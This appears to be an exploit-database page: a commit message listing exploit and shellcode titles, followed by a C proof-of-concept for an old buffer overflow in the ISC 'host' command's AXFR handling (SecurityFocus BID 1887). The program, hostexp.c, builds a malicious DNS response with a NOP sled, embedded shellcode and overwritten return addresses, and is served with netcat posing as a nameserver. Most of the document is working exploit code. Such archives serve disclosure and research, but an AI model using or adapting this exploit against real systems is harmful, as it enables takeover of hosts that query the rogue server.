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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
42 lines
No EOL
1.5 KiB
C
42 lines
No EOL
1.5 KiB
C
// source: https://www.securityfocus.com/bid/1887/info
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An exploitable buffer overflow vulnerability exists in certain non-current versions of the ISC host command.
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host can be used to issue an AXFR command to effect a zone transfer for a given domain name. In affected versions of host, if the AXFR query yields a response from the server which exceeds 512 bytes in length (possible, since TCP DNS messages can be up to 65535 bytes in length), the response can overflow the relevant buffer onto the stack, allowing the return address of the function to be modified. This may allow an operator of a malicious nameserver to gain control of a system on which host is being run when a query is made.
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command line:
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./host -l -v -t any somezone.org <fake server>
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proof of concepts exploit:
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/* hostexp.c
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* cc hostexp.c -o hostexp
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*
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* usage: ./hostexp | nc -l -p 53
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*/
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#include <stdio.h>
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#include <netinet/in.h>
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int main(void)
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{
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int offset = 140;
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unsigned int base = 0xbffff74c+offset, i;
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char shellcode[] = /* 48 bytes, ripped */
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"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
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"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
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"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
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"\xff\xff/bin/ls";
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unsigned short a = htons(1024);
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char buffer[1026];
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memcpy(buffer, &a, 2);
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memset(buffer+2, 'A', 100); /* avoid response processing */
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memset(buffer+102, 0x90, 100);
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memcpy(buffer+202, shellcode, 48);
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for (i = 202+48; i < 202+48+600; i+=4)
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memcpy(buffer+i, &base, 4);
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write(fileno(stdout), buffer, 1026);
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return 0;
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} |